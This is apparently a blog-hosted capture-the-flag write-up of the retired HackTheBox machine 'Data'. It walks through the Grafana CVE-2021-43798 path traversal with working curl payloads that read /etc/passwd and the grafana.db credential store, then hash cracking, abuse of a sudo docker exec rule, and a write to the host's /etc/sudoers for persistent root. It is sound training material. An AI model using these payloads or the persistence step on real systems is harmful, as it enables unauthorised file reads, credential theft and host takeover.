close
Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Data Writeup

Updated
7 min read
HackTheBox: Data Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

Data is a Linux box running Grafana 8.0.0 behind SSH and port 3000. The Grafana version is vulnerable to CVE-2021-43798, an authentication-free path traversal in the plugin static-file handler, which is used to read /etc/passwd, then Grafana's own defaults.ini to locate its SQLite database, and finally exfiltrate grafana.db itself. Cracking the password hashes inside the database (after converting them to a Hashcat-compatible format) recovers a user's SSH credentials. That user has a sudo rule allowing passwordless docker exec on any container, and the running Grafana container is mounted with access to the host filesystem at /, letting commands run as root inside the container reach and read the host's root flag directly — or, alternatively, modify the host's /etc/sudoers to grant full root access back out on the host.

  • Initial access: CVE-2021-43798 (Grafana path traversal) → leak defaults.ini → leak grafana.db → crack admin/boris password hashes → SSH as boris

  • Privilege escalation: Misconfigured sudo docker exec rule → root inside Grafana container → host filesystem mounted inside container → read root flag directly, or edit host /etc/sudoers for a persistent root shell


Walkthrough

1. Recon

nmap -A -Pn 10.129.234.47 -oA nmap

Two open ports: SSH (22, OpenSSH 7.6p1 on Ubuntu 18.04) and Grafana on 3000. Added the hostname to /etc/hosts:

echo '10.129.234.47 data.vl' >> /etc/hosts

Visiting http://data.vl:3000/login confirms a Grafana login page. The footer of the login page leaks the exact version, v8.0.0, which is a known information-disclosure issue (HackerOne report #1427086) and is directly useful here since it pins down the vulnerable version range.

curl http://data.vl:3000/robots.txt
User-agent: *
Disallow: /

2. CVE-2021-43798 - unauthenticated path traversal (HackerOne report #1427086)

Grafana 8.0.0 through 8.3.0 ships a plugin static-asset handler that doesn't sanitize ../ sequences in the request path, letting an unauthenticated request walk outside the plugin's intended directory and read arbitrary files readable by the grafana process. Confirmed with the classic /etc/passwd read:

curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/ash
...
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

The presence of /bin/ash and the grafana system user is also a strong hint that Grafana itself is running inside an Alpine-based container - relevant later for the privesc step.

Next pulled Grafana's own config file, defaults.ini, using the same traversal, to confirm internal paths rather than guessing them:

http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fshare%2Fgrafana%2Fconf%2Fdefaults.ini

The [database] section confirms type = sqlite3 and path = grafana.db relative to the data path, which (per the [paths] section) resolves to /var/lib/grafana/grafana.db.

3. Exfiltrating and cracking the Grafana database

curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db
file grafana.db
grafana.db: SQLite 3.x database, ...

Opened it directly with sqlite3 and inspected the schema before querying:

sqlite3 grafana.db
sqlite> .tables
alert                       login_attempt
alert_configuration         migration_log
...
data_source                 user
...
sqlite> .headers on
sqlite> select login,password,salt from user;
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

Grafana hashes its passwords as PBKDF2-HMAC-SHA256 with a non-standard internal encoding, so they aren't directly crackable in this form. Used grafana2hashcat to convert the password,salt pairs into a hashcat-compatible PBKDF2 string (hash-mode 10900).

First saved the raw Grafana hashes in the tool's expected hash,salt format:

git clone https://github.com/iamaldi/grafana2hashcat
cd grafana2hashcat
cat > grafana.hash <<'EOF'
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
EOF

Then converted them:

python3 grafana2hashcat.py grafana.hash
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Saved the converted output into a file in hashcat's expected format:

cat > crackable.hash <<'EOF'
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
EOF

Cracked with rockyou:

hashcat crackable.hash /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:...:beautiful1

The boris hash cracks to beautiful1. The admin hash did not crack against rockyou — not needed, since boris has a real shell account on the host whereas admin is only a Grafana application-level account.

4. SSH access

ssh boris@data.vl
boris@data:~$ cat user.txt
HTB{REDACTED}

5. Privilege escalation — sudo docker exec abuse

sudo -l
User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

boris can run docker exec as root against any container, with no restriction on which command is executed inside it. Direct docker ps/docker images fail because boris isn't in the docker group and has no socket access outside of this specific sudo rule — but the sudo rule itself doesn't need group membership, since it invokes docker as root directly.

Found the running Grafana container's ID from the process list:

ps aux | grep docker
containerd-shim-runc-v2 ... -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81
sudo docker exec -it -u root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1# whoami
root

Now root inside the container. Checking mounts revealed the host's root filesystem mounted at /mnt inside the container (a deliberate or misconfigured bind mount exposing the host disk):

mount /dev/sda1 /mnt
ls -la /mnt/root/root.txt
-rw-r-----    1 root     root            33 Jun 24 05:00 /mnt/root/root.txt

Method A — direct read: since the container is running as root and the host filesystem is mounted and readable, the flag can simply be read in place:

cat /mnt/root/root.txt

Method B — persistent host root (alternative used here): rather than just reading the flag once, edited the host's /etc/sudoers from inside the container, since /mnt is a live bind-mount of the host's actual root partition — any write here is a write to the real host disk:

echo 'boris ALL = (root) NOPASSWD: /bin/bash' >> /mnt/etc/sudoers
exit

Back on the host as boris:

sudo -l
(root) NOPASSWD: /snap/bin/docker exec *
(root) NOPASSWD: /bin/bash
sudo bash
root@data:~# cat /root/root.txt
HTB{REDACTED}

This second method is the more valuable one in a real engagement: it turns a single one-off container escape into a standing root foothold on the host that survives without needing to re-enter the container each time.


Attack Chain

Grafana v8.0.0 login page footer → version disclosure
        │
        ▼
CVE-2021-43798 path traversal (unauthenticated)
        │
        ▼
Read /etc/passwd → confirm grafana service user / Alpine container
        │
        ▼
Read defaults.ini → locate SQLite DB path
        │
        ▼
Exfiltrate grafana.db → dump user table (password + salt)
        │
        ▼
grafana2hashcat → PBKDF2-HMAC-SHA256 (hashcat mode 10900)
        │
        ▼
hashcat + rockyou → boris's password cracked
        │
        ▼
SSH as boris → user.txt
        │
        ▼
sudo docker exec (NOPASSWD, any container) → root inside Grafana container
        │
        ▼
Host root filesystem bind-mounted inside container (/dev/sda1 → /mnt)
        │
        ▼
Read root.txt directly, or write to /mnt/etc/sudoers for persistent host root

Key Vulnerabilities

# Vulnerability Location Impact
1 Grafana version disclosure Login page footer Lets an attacker pin the exact vulnerable version without further probing
2 CVE-2021-43798 (Path Traversal) Grafana plugin static-asset handler, v8.0.0–8.3.0 Unauthenticated arbitrary file read as the grafana service user
3 SQLite credential store exposed via the same traversal /var/lib/grafana/grafana.db Full extraction of all Grafana user password hashes + salts
4 Weak user password boris account Hash crackable against rockyou in seconds
5 Overly broad sudo rule on docker exec /etc/sudoersboris Root access inside any running container, with no command restriction
6 Host root filesystem bind-mounted into container Grafana container's /dev/sda1 mount Container root effectively equals host root — read host files or modify host /etc/sudoers

HackTheBox Writeups

Part 17 of 19

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox: Nexus Writeup

Executive Summary This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged: Exposed credentials in